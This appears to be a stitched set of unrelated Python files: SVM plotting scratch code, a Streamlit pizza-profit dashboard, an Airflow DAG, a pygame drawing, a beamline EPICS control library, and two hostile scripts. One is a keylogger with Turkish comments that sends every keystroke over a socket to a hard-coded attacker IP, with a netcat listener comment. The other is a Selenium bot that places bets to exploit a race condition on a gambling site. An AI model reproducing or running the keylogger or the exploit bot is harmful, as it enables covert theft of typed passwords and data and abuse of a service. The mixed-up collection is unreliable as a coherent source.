# import numpy as np
# # d_pool = np.arange(1, 9, 1)
# # # print((d_pool))
# lin=
# # # for i in enumerate(d_pool):
# # # 	print((i))
# # # print(lin[('alpha')])
# if hasattr(lin, '2341'):
# 	print(12)
# output = '%s：%d阶，系数为：' % (1, 6)
# idx = output.find('系数')
# print(output[:idx])
# output = output[:idx] + ('alpha') + output[idx:]
# print(output)
# a=range(5)
# print(a)
from sklearn import svm
import numpy as np
from sklearn.datasets import make_blobs
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D

# 生成一个有两个特征、包含两种类别的数据集
def plot_hyperplane(clf, X, y,
                    h=0.02,
                    draw_sv=True,
                    title='hyperplan'):
    # create a mesh to plot in
    # fig = plt.figure()
    # ax = Axes3D(fig)
    x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
    y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
    xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                         np.arange(y_min, y_max, h))

    plt.title(title)
    plt.xlim(xx.min(), xx.max())
    plt.ylim(yy.min(), yy.max())
    plt.xticks(())
    plt.yticks(())

    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()]) # SVM的分割超平面
    # Put the result into a color plot
    Z = Z.reshape(xx.shape)
    print(Z.shape)
    np.savetxt('12.txt', Z, fmt='%d', delimiter='')
    np.savetxt('13.txt', xx, fmt='%d', delimiter='')
    np.savetxt('14.txt', yy, fmt='%d', delimiter='')
    plt.contourf(xx, yy, Z, cmap='hot', alpha=0.5)

    markers = ['o', 's', '^']
    colors = ['b', 'r', 'c']
    labels = np.unique(y)
    print(labels)
    for label in labels:
        plt.scatter(X[y==label][:, 0],
                    X[y==label][:, 1],
                    c=colors[label],
                    marker=markers[label])
    # 画出支持向量
    if draw_sv:
        sv = clf.support_vectors_
        plt.scatter(sv[:, 0], sv[:, 1], c='y', marker='x')
    plt.show()
    # fig = plt.figure()
    # ax = Axes3D(fig)

    # ax.plot_surface(xx, yy, Z, rstride=1, cstride=1, cmap=plt.get_cmap('rainbow'))
    # ax.set_zlim(-6, 6)

    # plt.show()
    # ax.plot_surface(X, Y, (Z), rstride=1, cstride=1, cmap=plt.get_cmap('rainbow'))

X, y = make_blobs(n_samples=20, centers=2,
                  random_state=0, cluster_std=0.8)
clf = svm.SVC(C=1.0, kernel='linear')
print(X,y)
clf.fit(X, y)
# print(clf)
# plt.figure(figsize=(12, 4), dpi=144)
plot_hyperplane(clf, X, y, h=0.01,
                title='Maximum Margin Hyperplan')

# import matplotlib.pyplot as plt
# from mpl_toolkits.mplot3d import Axes3D

# x = np.array([1,2,3])
# y = np.array([2,3,4])
# xx,yy=np.meshgrid(x,y)
# print(xx,yy)
# z = clf.predict(np.c_[xx.ravel(), yy.ravel()])
# # z=np.sin(xx*yy)#设置z由xx+yy生成，当然也可以是其他函数如sin（xx+yy）等
# z=z.reshape(xx.shape)#z数组的大小必须和xx,yy大小一致
# plt.contourf(xx, yy, z, cmap='hot', alpha=0.5)#3代表levels=3,绘制3条等高线，等高线的间距由方法自动生成
# plt.scatter(xx.reshape(9),yy.reshape(9),c='y', marker='x')

# plt.show()
# fig = plt.figure()
# ax = Axes3D(fig)

# ax.plot_surface(xx, yy, z, rstride=1, cstride=1, cmap=plt.get_cmap('rainbow'))
# plt.show()
# ax.set_zlim(-6, 6)
# print((xx.reshape(9)).shape)


import base64
from datetime import datetime
from pathlib import Path

import streamlit as st

from src.data import import_data, summarise_data

st.title("Crafted Pizza")

@st.cache
def get_results(sales_data, expenses_data, start_period, end_period):
    sales_data = import_data.read_sales_data(sales_data)
    sales_data = import_data.extract_revenue(sales_data)
    sales_data = import_data.extract_sales_date(sales_data)
    sales_summary = summarise_data.summarise_performance(
        performance_data=sales_data, on_col="revenue"
    )

    expenses_data = import_data.read_expenses_data(expenses_data)
    expenses_summary = summarise_data.summarise_performance(
        performance_data=expenses_data, on_col="expenses"
    )

    results = summarise_data.summarise_profit(
        sales_summary=sales_summary,
        expenses_summary=expenses_summary,
        start_period=start_period,
        end_period=end_period,
    )

    transactions = {
        "sales": sales_data,
        "expenses": expenses_data,
    }

    return results, transactions

def authorise_app():
    """Authorise this app using OAuth2"""
    # ref: https://www.youtube.com/watch?v=vQQEaSnQ_bs
    raise NotImplementedError

def download_data(real_file_id):
    """Downloads a Google Drive folder

    Args:
        real_file_id: ID of the file to download
    Returns : IO object with location.

    Load pre-authorized user credentials from the environment.
    TODO(developer) - See https://developers.google.com/identity
    for guides on implementing OAuth2 for the application.
    """
    # ref: https://developers.google.com/drive/api/v3/manage-downloads
    raise NotImplementedError

def create_download_link(file_name: str):
    """
    Downloads a file from the 'www' directory \n
    str -> bytes -> enc b64 bytes -> b64 str -> dec b64 str -> str
    my_string -> my_string.encode() -> b64encode(my_bytes) -> b64.decode()** -> b64decode(b64) -> my_bytes.decode()
    """
    # https://discuss.streamlit.io/t/how-to-download-file-in-streamlit/1806/12?page=3
    file_path = Path("./www").resolve() / file_name
    file_bytes = Path(file_path).read_bytes()
    b64_str = base64.b64encode(file_bytes).decode()
    html = f'Data template'
    return html

html = create_download_link(file_name="Nov2021.xlsx")

# SIDE BAR
with st.sidebar:
    st.markdown(html, unsafe_allow_html=True)

    start_col, end_col = st.columns(2, gap="small")
    with start_col:
        start_period = st.date_input(
            label="Start Period",
            value=datetime(year=2020, month=1, day=1),
        )
        start_period = int(start_period.strftime("%Y%m"))

    with end_col:
        end_period = st.date_input(label="End Period", value=datetime.now())
        end_period = int(end_period.strftime("%Y%m"))

    sales_data = st.file_uploader(
        label="Sales Data", type="xlsx", accept_multiple_files=True
    )
    expenses_data = st.file_uploader(
        label="Expenses Data", type="csv", accept_multiple_files=True
    )

# MAIN BODY
with st.expander(label="Instructions"):
    st.write(
        """
        1. Save sales data for each month in the data template
        2. Save sales data for all months in a single folder
        3. Export expenses data for each branch
        4. Mark Kabete expenses with KB in the file name
        5. Save expenses data for all months in another folder
        6. Select your data
        7. Select a start and end period
        """
    )

if len(sales_data) == 0 or len(expenses_data) == 0:
    st.write("*Use the sidebar to upload sales and expenses data to start!*")

if len(sales_data) > 0 and len(expenses_data) > 0:
    try:
        results, transactions = get_results(
            sales_data,
            expenses_data,
            start_period=start_period,
            end_period=end_period,
        )

        period_df = results.get("profit_summary")

        rev_col, KK_col, KB_col = st.columns(spec=3, gap="medium")
        with rev_col:
            st.metric(
                label="Total Profit",
                value=f"{results.get('total_profit'):,.0f}",
            )
        with KB_col:
            st.metric(label="Kabete Profit", value=f"{results.get('KB_profit'):,.0f}")
        with KK_col:
            st.metric(label="Kikuyu Profit", value=f"{results.get('KK_profit'):,.0f}")

        st.caption("*Hit refresh to update the results!*")
        st.dataframe(period_df)

        with st.sidebar:
            res_col, trans_col = st.columns(spec=2, gap="small")
            with res_col:
                st.download_button(
                    label="Download results",
                    data=period_df.to_csv(index=True),
                    mime="text/csv",
                    file_name="profit_summary.csv",
                )
            with trans_col:
                st.download_button(
                    label="Download sales",
                    data=transactions.get("sales").to_csv(index=False),
                    mime="text/csv",
                    file_name="sales_data.csv",
                )

    except AttributeError:
        st.error(
            "*Please check the paths to the sales and expenses data and try again!*"
        )


from datetime import timedelta
from airflow import DAG
from airflow.operators.python_operator import PythonOperator
from airflow.utils.dates import days_ago
from datetime import datetime
from app import run_news_etl

# Initializing  Default args
default_args = {
    'owner': 'airflow',
    'depends_on_past': False,
    # mention the start date of your DAG run
    'start_date': datetime(2023, 3, 26),
    'email': ['airflow@example.com'],
    'email_on_failure': False,
    'email_on_retry': False,
    'retries': 1,
    'retry_delay': timedelta(minutes=1)
}

# Defining the DAG
dag = DAG(
    'news_dag',
    default_args=default_args,
    description='Our first DAG with ETL process!',
    # edit the schedule interval to how frequently the DAG should create a DAG instance
    schedule_interval=timedelta(hours=1),
    # catchup set to False. When False, the scheduler creates a DAG run only for the latest interval.
    catchup=False
)

# Defining the task - a python callable. Here it the main function from app.py
run_etl = PythonOperator(
    task_id='complete_news_etl',
    python_callable=run_news_etl,
    dag=dag,
)
# invoking the task
run_etl


import pygame

pygame.init()
screen = pygame.display.set_mode((800, 600))
done = False

path = []

for x in range(0,50, 1):
	y=1*x**2-20*x-10
	if y >= 0:
	# 	y=y
	# else:
		path.append((x,y))

print (path)

while not done:
	for event in pygame.event.get():
		if event.type == pygame.QUIT:
			done = True

	lol = pygame.draw.lines(screen, (255,0,0), True, path, 1)

	pygame.display.flip()


import pynput.keyboard
# klavye hareketlerini takip etmek icin kullanilan kutuphane
import socket
# iki bilgisayar arasinda baglanti kurmak icin kullanilan kutuphane

baglantim = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# baglantimizi tanimlayip icine kullanacagimiz protokolu ve socket tipini belirliyoruz
baglantim.connect(("192.168.0.106", 8080))
# atak bilgisayarinin ip adresini ve kullanacagimiz port u belirtiyoruz
baglantim.send("Baglanti Kuruldu ".encode("utf-8"))
# baglantinin calistigini anlamak icin bir mesaj gonderiyoruz

# girilen klavye hareketlerini baglanti uzerinden gonderen fonksiyon

def gonder(key):

    baglantim.send(str(key).encode())

# klavyeyi dinleyip her tusa basildiginda gonder fonksiyonunu calistirma icin asagidaki kodlari yaziyoruz
keylogger_dinleyici = pynput.keyboard.Listener(on_press=gonder)

with keylogger_dinleyici:

    keylogger_dinleyici.join()

# kali de 8080 portunda gelen baglantilari dinlemek icin terminale nc -l -p 8080 komutunu yazip kullanabilirsiniz.
#----------------------------ahmetfurkansonmez12@gmail.com-----------------------------


# Vulnerability discovered on CSGOEmpire (Race Condition) 13/04/2023 Patched.

import time
from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.chrome.options import Options

opts = Options()
opts.headless = False
opts.add_argument("--incognito")
browser = webdriver.Chrome(ChromeDriverManager().install(), chrome_options=opts)

browser.get('http://csgoempire.com')

# Set price for bets (Any Amount).
bet = 0.01

def backupClick():
    try:
        # Reconfirm fast enough.
        if browser.find_element_by_xpath('//*[@id="app"]/div[6]/div/div/div[2]/div[2]/button[1]'):
            browser.find_element_by_xpath('//*[@id="app"]/div[6]/div/div/div[2]/div[2]/button[1]').click()
            print("Backup Click")
    except:
        pass

def click():
    try:
        # Set price for bet.
        browser.find_element_by_xpath('//*[@id="page-scroll"]/div[1]/div[2]/div/div[4]/div/div[1]/input').send_keys(str(bet))

        # CT
        # Find bet and place at the same time. Use backup to double confirm fast enough.
        browser.find_element_by_xpath('//*[@id="page-scroll"]/div[1]/div[2]/div/div[5]/div[1]/button').click()
        browser.find_element_by_xpath('//*[@id="page-scroll"]/div[1]/div[2]/div/div[5]/div[3]/button').click()
        backupClick()

        # Display T time bet was placed.
        print("Counter-Terrorist: " + str(time.time()))
        print("Terrorist: " + str(time.time()))

        # T
        # Find bet and place at the same time. Use backup to double confirm fast enough.
        #browser.find_element_by_xpath('//*[@id="page-scroll"]/div[1]/div[2]/div/div[5]/div[3]/button').click()
        backupClick()

        # Display T time bet was placed.
        #print("Terrorist: " + str(time.time()))

        print("Click!")
        time.sleep(10)
        browser.refresh()
    except:
        time.sleep(5)

# Count down to when bets are placed.
def timer():
    try:
        # Get the element using its XPath expression
        value_element = browser.find_element_by_xpath(
            '//*[@id="page-scroll"]/div[1]/div[2]/div/div[2]/div[3]/div/div[2]')

        # Extract the text content of the element
        value = float(value_element.text.strip())

        # Check if the value is 4.20 because funny.
        if value == 4.20:
            click()

    except:
        pass

# Loop indefinitely.
while True:
    timer()


'''
    Tomo Scan Lib for Sector 32 ID C

'''

import sys
import json
import time
from epics import PV
import h5py
import shutil
import os
import imp
import traceback
import math
import signal
import numpy

import libs.log_lib as log_lib

TESTING_MODE = True
UseShutterA = False
UseShutterB = True

ShutterA_Open_Value = 0
ShutterA_Close_Value = 1
ShutterB_Open_Value = 0
ShutterB_Close_Value = 1

FrameTypeData = 0
FrameTypeDark = 1
FrameTypeWhite = 2

DetectorIdle = 0
DetectorAcquire = 1

TXM = True
EPSILON = 0.1

PG_Trigger_External_Trigger = 1 # Important for the Point Grey (continuous mode as clock issues)
Recursive_Filter_Type = 'RecursiveAve'

def update_variable_dict(variableDict):
    argDic = {}
    if len(sys.argv) > 1:
        strArgv = sys.argv[1]
        argDic = json.loads(strArgv)
    # print('orig variable dict', variableDict)
    for k,v in argDic.iteritems():
        variableDict[k] = v
    # print('new variable dict', variableDict)

#wait on a pv to be a value until max_timeout (default forever)
def wait_pv(pv, wait_val, max_timeout_sec=-1):
    # print 'wait_pv(', pv.pvname, wait_val, max_timeout_sec, ')'
    #delay for pv to change
    time.sleep(.01)
    startTime = time.time()
    while(True):
        pv_val = pv.get()
        if type(pv_val) == float:
            if abs(pv_val - wait_val) < EPSILON:
                return True
        if (pv_val != wait_val):
            if max_timeout_sec > -1:
                curTime = time.time()
                diffTime = curTime - startTime
                if diffTime >= max_timeout_sec:
                    #print 'wait_pv(', pv.pvname, wait_val, max_timeout_sec, ') reached max timeout. Return False'
                    return False
            time.sleep(.01)
        else:
            return True

def init_general_PVs(global_PVs, variableDict):
    log_lib.info(' ')
    log_lib.info('  *** Init general PVs')
    global_PVs['Cam1_ImageMode'] = PV(variableDict['IOC_Prefix'] + 'cam1:ImageMode') # 0=single, 1=multiple, 2=continuous
    global_PVs['Cam1_ArrayCallbacks'] = PV(variableDict['IOC_Prefix'] + 'cam1:ArrayCallbacks')
    global_PVs['Cam1_AcquireTime'] = PV(variableDict['IOC_Prefix'] + 'cam1:AcquireTime')
    global_PVs['Cam1_AcquirePeriod'] = PV(variableDict['IOC_Prefix'] + 'cam1:AcquirePeriod')
    global_PVs['Cam1_FrameRate_on_off'] = PV(variableDict['IOC_Prefix'] + 'cam1:FrameRateOnOff')
    global_PVs['Cam1_FrameRate_val'] = PV(variableDict['IOC_Prefix'] + 'cam1:FrameRateValAbs')
    global_PVs['Cam1_TriggerMode'] = PV(variableDict['IOC_Prefix'] + 'cam1:TriggerMode')
    global_PVs['Cam1_SoftGlueTrigger'] = PV('32idcTXM:SG3:BUFFER-2_IN_Signal')
    global_PVs['Cam1_SoftwareTrigger'] = PV(variableDict['IOC_Prefix'] + 'cam1:SoftwareTrigger')
    global_PVs['Cam1_FrameRateOnOff'] = PV(variableDict['IOC_Prefix'] + 'cam1:FrameRateOnOff')
    global_PVs['Cam1_FrameType'] = PV(variableDict['IOC_Prefix'] + 'cam1:FrameType')
    global_PVs['Cam1_Image'] = PV(variableDict['IOC_Prefix'] + 'image1:ArrayData')
    global_PVs['Cam1_NumImages'] = PV(variableDict['IOC_Prefix'] + 'cam1:NumImages')
    global_PVs['Cam1_Acquire'] = PV(variableDict['IOC_Prefix'] + 'cam1:Acquire')
    global_PVs['Cam1_Display'] = PV(variableDict['IOC_Prefix'] + 'image1:EnableCallbacks')
    global_PVs['Cam1_FF_norm'] = PV(variableDict['IOC_Prefix'] + 'Proc1:EnableFlatField')
    global_PVs['Cam1_Recursive_Filter'] = PV('32idcPG3:Proc1:EnableFilter')
    global_PVs['Cam1_Proc1_Port'] = PV(variableDict['IOC_Prefix'] + 'Proc1:NDArrayPort')
    global_PVs['Cam1_Image1_Port'] = PV(variableDict['IOC_Prefix'] + 'Image1:NDArrayPort')
    global_PVs['Cam1_OverLay_Port'] = PV(variableDict['IOC_Prefix'] + 'Over1:NDArrayPort')
    global_PVs['Cam1_Trans_Port'] = PV(variableDict['IOC_Prefix'] + 'Trans1:NDArrayPort')
    global_PVs['nCol'] = PV(variableDict['IOC_Prefix'] + 'cam1:ArraySizeX_RBV')
    global_PVs['nRow'] = PV(variableDict['IOC_Prefix'] + 'cam1:ArraySizeY_RBV')

    #hdf5 writer pv's
    global_PVs['HDF1_LazyOpen'] = PV(variableDict['IOC_Prefix'] + 'HDF1:HDF1_LazyOpen')
    global_PVs['HDF1_AutoSave'] = PV(variableDict['IOC_Prefix'] + 'HDF1:AutoSave')
    global_PVs['HDF1_DeleteDriverFile'] = PV(variableDict['IOC_Prefix'] + 'HDF1:DeleteDriverFile')
    global_PVs['HDF1_EnableCallbacks'] = PV(variableDict['IOC_Prefix'] + 'HDF1:EnableCallbacks')
    global_PVs['HDF1_BlockingCallbacks'] = PV(variableDict['IOC_Prefix'] + 'HDF1:BlockingCallbacks')
    global_PVs['HDF1_FileWriteMode'] = PV(variableDict['IOC_Prefix'] + 'HDF1:FileWriteMode')
    global_PVs['HDF1_NumCapture'] = PV(variableDict['IOC_Prefix'] + 'HDF1:NumCapture')
    global_PVs['HDF1_Capture'] = PV(variableDict['IOC_Prefix'] + 'HDF1:Capture')
    global_PVs['HDF1_Capture_RBV'] = PV(variableDict['IOC_Prefix'] + 'HDF1:Capture_RBV')
    global_PVs['HDF1_FileName'] = PV(variableDict['IOC_Prefix'] + 'HDF1:FileName')
    global_PVs['HDF1_FullFileName_RBV'] = PV(variableDict['IOC_Prefix'] + 'HDF1:FullFileName_RBV')
    global_PVs['HDF1_FileTemplate'] = PV(variableDict['IOC_Prefix'] + 'HDF1:FileTemplate')
    global_PVs['HDF1_ArrayPort'] = PV(variableDict['IOC_Prefix'] + 'HDF1:NDArrayPort')
    global_PVs['HDF1_NextFile'] = PV(variableDict['IOC_Prefix'] + 'HDF1:FileNumber')

    #tiff writer pv's
    global_PVs['TIFF1_AutoSave'] = PV(variableDict['IOC_Prefix'] + 'TIFF1:AutoSave')
    global_PVs['TIFF1_DeleteDriverFile'] = PV(variableDict['IOC_Prefix'] + 'TIFF1:DeleteDriverFile')
    global_PVs['TIFF1_EnableCallbacks'] = PV(variableDict['IOC_Prefix'] + 'TIFF1:EnableCallbacks')
    global_PVs['TIFF1_BlockingCallbacks'] = PV(variableDict['IOC_Prefix'] + 'TIFF1:BlockingCallbacks')
    global_PVs['TIFF1_FileWriteMode'] = PV(variableDict['IOC_Prefix'] + 'TIFF1:FileWriteMode')
    global_PVs['TIFF1_NumCapture'] = PV(variableDict['IOC_Prefix'] + 'TIFF1:NumCapture')
    global_PVs['TIFF1_Capture'] = PV(variableDict['IOC_Prefix'] + 'TIFF1:Capture')
    global_PVs['TIFF1_Capture_RBV'] = PV(variableDict['IOC_Prefix'] + 'TIFF1:Capture_RBV')
    global_PVs['TIFF1_FileName'] = PV(variableDict['IOC_Prefix'] + 'TIFF1:FileName')
    global_PVs['TIFF1_FullFileName_RBV'] = PV(variableDict['IOC_Prefix'] + 'TIFF1:FullFileName_RBV')
    global_PVs['TIFF1_FileTemplate'] = PV(variableDict['IOC_Prefix'] + 'TIFF1:FileTemplate')
    global_PVs['TIFF1_ArrayPort'] = PV(variableDict['IOC_Prefix'] + 'TIFF1:NDArrayPort')

    # Sample stage pv's
    if TXM: # TXM
            global_PVs['Motor_SampleX'] = PV('32idcTXM:nf:c0:m1.VAL')
            global_PVs['Motor_SampleY'] = PV('32idcTXM:mxv:c1:m1.VAL') # for the TXM
            global_PVs['Motor_SampleRot'] = PV('32idcTXM:ens:c1:m1.VAL') # Professional Instrument air bearing 0y stage
            global_PVs['Motor_SampleRot_set'] = PV('32idcTXM:ens:c1:m1.SET') # Professional Instrument air bearing 0y stage
            global_PVs['Motor_SampleRot_Speed'] = PV('32idcTXM:ens:c1:m1.VELO') # Professional Instrument air bearing rotary stage
            global_PVs['Motor_SampleRot_Stop'] = PV('32idcTXM:ens:c1:m1.STOP') # PI Micos air bearing rotary stage
            global_PVs['Motor_Sample_Top_X'] = PV('32idcTXM:mcs:c3:m7.VAL') # Smaract XZ TXM set
            global_PVs['Motor_Sample_Top_X_RBV'] = PV('32idcTXM:mcs:c3:m7.RBV')
            global_PVs['Motor_Sample_Top_X_STATUS'] = PV('32idcTXM:mcs:c3:m7.MSTA')
            global_PVs['Motor_Sample_Top_X_MIP'] = PV('32idcTXM:mcs:c3:m7.MIP')
            global_PVs['Motor_Sample_Top_X_RETRY'] = PV('32idcTXM:mcs:c3:m7.RCNT')
            global_PVs['Motor_Sample_Top_X_StopAndGo'] = PV('32idcTXM:mcs:c3:m7.SPMG')
            global_PVs['Motor_Sample_Top_Z'] = PV('32idcTXM:mcs:c3:m8.VAL')
            global_PVs['Motor_Sample_Top_Z_StopAndGo'] = PV('32idcTXM:mcs:c3:m8.SPMG') # =0 --> Stop; =3 --> go
#           global_PVs['Motor_X_Tile'] = PV('32idc01:m33.VAL')
#           global_PVs['Motor_Y_Tile'] = PV('32idc02:m15.VAL')
    else: # micro-CT
            global_PVs['Motor_SampleX'] = PV('32idc01:m33.VAL')
            global_PVs['Motor_SampleY'] = PV('32idc02:m15.VAL') # for the micro-CT system
            global_PVs['Motor_SampleRot'] = PV('32idcTXM:hydra:c0:m1.VAL') # PI Micos air bearing rotary stage
            global_PVs['Motor_SampleRot_Stop'] = PV('32idcTXM:hydra:c0:m1.STOP') # PI Micos air bearing rotary stage
            global_PVs['Motor_SampleZ'] = PV('32idcTXM:mcs:c1:m1.VAL')
            global_PVs['Motor_Sample_Top_X'] = PV('32idcTXM:mcs:c1:m1.VAL') # Smaract XZ micro-CT set
            global_PVs['Motor_Sample_Top_X_RBV'] = PV('32idcTXM:mcs:c1:m1.RBV') #
            global_PVs['Motor_Sample_Top_X_STATUS'] = PV('32idcTXM:mcs:c1:m1.MSTA')
            global_PVs['Motor_Sample_Top_X_MIP'] = PV('32idcTXM:mcs:c1:m1.MIP')
            global_PVs['Motor_Sample_Top_X_RETRY'] = PV('32idcTXM:mcs:c1:m1.RCNT')
            global_PVs['Motor_Sample_Top_Z'] = PV('32idcTXM:mcs:c1:m2.VAL') # Smaract XZ micro-CT set
            global_PVs['Motor_X_Tile'] = PV('32idc01:m33.VAL')
            global_PVs['Motor_Y_Tile'] = PV('32idc02:m15.VAL')
            global_PVs['Focus_10X'] = PV('32idcMCS2:c0:m1.VAL')
            global_PVs['Focus_5X'] = PV('32idcMCS2:c0:m2.VAL')

    #Zone plate:
    global_PVs['zone_plate_x'] = PV('32idcTXM:mcs:c2:m1.VAL')
    global_PVs['zone_plate_y'] = PV('32idcTXM:mcs:c2:m2.VAL')
    global_PVs['zone_plate_z'] = PV('32idcTXM:mcs:c2:m3.VAL')
    global_PVs['zone_plate_x_StopAndGo'] = PV('32idcTXM:mcs:c2:m1.SPMG')
    global_PVs['zone_plate_y_StopAndGo'] = PV('32idcTXM:mcs:c2:m2.SPMG')
    global_PVs['zone_plate_z_StopAndGo'] = PV('32idcTXM:mcs:c2:m3.SPMG')

    #Phase ring:
    global_PVs['phase_ring_x'] = PV('32idcSOFT:mmc:c1:m2.VAL')
    global_PVs['phase_ring_y'] = PV('32idcSOFT:mmc:c1:m1.VAL')

    # MST2 = vertical axis
#   global_PVs['Smaract_mode'] = PV('32idcTXM:mcsAsyn1.AOUT') # pv.Smaract_mode.put(':MST3,100,500,100')
#   global_PVs['zone_plate_2_x'] = PV('32idcTXM:mcs:c0:m3.VAL')
#   global_PVs['zone_plate_2_y'] = PV('32idcTXM:mcs:c0:m1.VAL')
#   global_PVs['zone_plate_2_z'] = PV('32idcTXM:mcs:c0:m2.VAL')

    # Condenser:
    global_PVs['condenser_x'] = PV('32idcTXM:mcs:c3:m1.VAL')
    global_PVs['condenser_y'] = PV('32idcTXM:mcs:c3:m5.VAL')
    global_PVs['condenser_z'] = PV('32idcTXM:mxv:c1:m5.VAL')
    global_PVs['condenser_yaw'] = PV('32idcTXM:mcs:c3:m2.VAL')
    global_PVs['condenser_pitch'] = PV('32idcTXM:mcs3:m4.VAL')
    global_PVs['shaker_actuator'] = PV('32idcMC:shaker:run') # 0=stop, 1=run

    # Beam stop:
    global_PVs['beam_stop_x'] = PV('32idcTXM:mcs:c2:m1.VAL')
    global_PVs['beam_stop_y'] = PV('32idcTXM:mcs:c3:m6.VAL')

    # Pinhole:
    global_PVs['pin_hole_x'] = PV('32idcTXM:xps:c1:m3.VAL')
    global_PVs['pin_hole_y'] = PV('32idcTXM:xps:c1:m5.VAL')

    # Diffuser:
    global_PVs['diffuser_x'] = PV('32idcTXM:xps:c1:m2.VAL')

    # BPM:
    global_PVs['BPM_vert_readback'] = PV('32ida:fb3.VAL')
    global_PVs['BPM_horiz_readback'] = PV('32ida:fb4.VAL')

    # Feedback Loop DCM - BPM:
    global_PVs['BPM_DCM_Vert_FBL'] = PV('32ida:fb3.FBON') # 0=off, 1=ON
    global_PVs['BPM_DCM_Horiz_FBL'] = PV('32ida:fb4.FBON') # 0=off, 1=ON

    # CRL:
    #crl_actuators = PV('32idb:pfcu:sendCommand.VAL')
    global_PVs['crl_actuators_0'] = PV('32idbPLC:oY0')
    global_PVs['crl_actuators_1'] = PV('32idbPLC:oY1')
    global_PVs['crl_actuators_2'] = PV('32idbPLC:oY2')
    global_PVs['crl_actuators_3'] = PV('32idbPLC:oY3')
    global_PVs['crl_actuators_4'] = PV('32idbPLC:oY4')
    global_PVs['crl_actuators_5'] = PV('32idbPLC:oY5')
    global_PVs['crl_actuators_6'] = PV('32idbPLC:oY6')
    global_PVs['crl_actuators_7'] = PV('32idbPLC:oY7')

    # CCD motors:
    global_PVs['CCD_Motor'] = PV('32idcTXM:mxv:c1:m6.VAL')

    #shutter pv's:
    global_PVs['ShutterA_Open'] = PV('32idb:rshtrA:Open')
    global_PVs['ShutterA_Close'] = PV('32idb:rshtrA:Close')
    global_PVs['ShutterA_Move_Status'] = PV('PB:32ID:STA_A_FES_CLSD_PL')
    global_PVs['ShutterB_Open'] = PV('32idb:fbShutter:Open.PROC')
    global_PVs['ShutterB_Close'] = PV('32idb:fbShutter:Close.PROC')
    global_PVs['ShutterB_Move_Status'] = PV('PB:32ID:STA_B_SBS_CLSD_PL')
    global_PVs['ExternalShutter_Trigger'] = PV('32idcTXM:shutCam:go')
    # Fast shutter controls:
    global_PVs['Softglue_Shutter'] = PV('32idcTXM:SG3:DnCntr-1_PRESET') # Should be always 1
    global_PVs['Fast_Shutter_Uniblitz'] = PV('32idcTXM:uniblitz:control') # State 0 = Close, 1 = Open
    global_PVs['Fast_Shutter_Open'] = PV('32idcTXM:shutCam:ShutterManual')
    global_PVs['Fast_Shutter_Delay'] = PV('32idcTXM:shutCam:tDly')
    global_PVs['Fast_Shutter_Exposure'] = PV('32idcTXM:shutCam:tExpose')
    global_PVs['Fast_Shutter_Trigger'] = PV('32idcTXM:shutCam:go')
    global_PVs['Fast_Shutter_Trigger_Mode'] = PV('32idcTXM:shutCam:Triggered') # Manual / Triggered synchronization
    global_PVs['Fast_Shutter_Control'] = PV('32idcTXM:shutCam:ShutterCtrl') # Shutter control: manual or Auto
    global_PVs['Fast_Shutter_Relay'] = PV('32idcTXM:shutCam:Enable')
    global_PVs['Fast_Shutter_Trigger_Source'] = PV('32idcTXM:flyTriggerSelect')
    global_PVs['Fast_Shutter_Uniblitz'] = PV('32idcTXM:uniblitz:control')

    #fly macro:
    global_PVs['FlyTriggerSelect'] = PV('32idcTXM:flyTriggerSelect')
    if not TXM: # for the PI Micos
            global_PVs['FlyTriggerSelect'].put(0, wait=True)
            global_PVs['Set_encoder_to_motor_RBV'] = PV('32idcTXM:eFly:setEncoderPos')
            global_PVs['Set_encoder_to_motor_RBV'].put(1, wait=True)
            global_PVs['Fly_ScanDelta'] = PV('32idcTXM:eFly:scanDelta')
            global_PVs['Fly_StartPos'] = PV('32idcTXM:eFly:startPos')
            global_PVs['Fly_EndPos'] = PV('32idcTXM:eFly:endPos')
            global_PVs['Fly_SlewSpeed'] = PV('32idcTXM:eFly:slewSpeed')
            global_PVs['Fly_Taxi'] = PV('32idcTXM:eFly:taxi')
            global_PVs['Fly_Run'] = PV('32idcTXM:eFly:fly')
            global_PVs['Fly_ScanControl'] = PV('32idcTXM:eFly:scanControl')
            global_PVs['Fly_Calc_Projections'] = PV('32idcTXM:eFly:calcNumTriggers')
            global_PVs['Fly_Set_Encoder_Pos'] = PV('32idcTXM:eFly:EncoderPos')
            global_PVs['Theta_Array'] = PV('32idcTXM:eFly:motorPos.AVAL')

    else: # for the Professional Instrument
            global_PVs['FlyTriggerSelect'].put(1, wait=True)
#           global_PVs['custom_standard_scan'] = PV('32idcTXM:PSOFly3:scanControl')
            global_PVs['Fly_ScanDelta'] = PV('32idcTXM:PSOFly3:scanDelta')
            global_PVs['Fly_StartPos'] = PV('32idcTXM:PSOFly3:startPos')
            global_PVs['Fly_EndPos'] = PV('32idcTXM:PSOFly3:endPos')
            global_PVs['Fly_SlewSpeed'] = PV('32idcTXM:PSOFly3:slewSpeed')
            global_PVs['Fly_Taxi'] = PV('32idcTXM:PSOFly3:taxi')
            global_PVs['Fly_Run'] = PV('32idcTXM:PSOFly3:fly')
            global_PVs['Fly_ScanControl'] = PV('32idcTXM:PSOFly3:scanControl')    # 0=standard; 1=custom
            global_PVs['Fly_Calc_Projections'] = PV('32idcTXM:PSOFly3:numTriggers')
            global_PVs['Theta_Array'] = PV('32idcTXM:PSOFly3:motorPos.AVAL')
            global_PVs['Fly_Set_Encoder_Pos'] = PV('32idcTXM:eFly:EncoderPos')

    # theta controls
    global_PVs['Reset_Theta'] = PV('32idcTXM:SG_RdCntr:reset.PROC')
    global_PVs['Proc_Theta'] = PV('32idcTXM:SG_RdCntr:cVals.PROC')
    global_PVs['Theta_Cnt'] = PV('32idcTXM:SG_RdCntr:aSub.VALB')

    #init misc pv's
    global_PVs['Image1_Callbacks'] = PV(variableDict['IOC_Prefix'] + 'image1:EnableCallbacks')
    global_PVs['ExternShutterExposure'] = PV('32idcTXM:shutCam:tExpose')
    #global_PVs['ClearTheta'] = PV('32idcTXM:recPV:PV1_clear')
    global_PVs['ExternShutterDelay'] = PV('32idcTXM:shutCam:tDly')

    # PV for the Attocube interferometers:
    global_PVs['Interfero_ZPX'] = PV('32MZ0:1pixelTriggerDma.VALA')
    global_PVs['Interfero_ZPY'] = PV('32MZ0:1pixelTriggerDma.VALB')
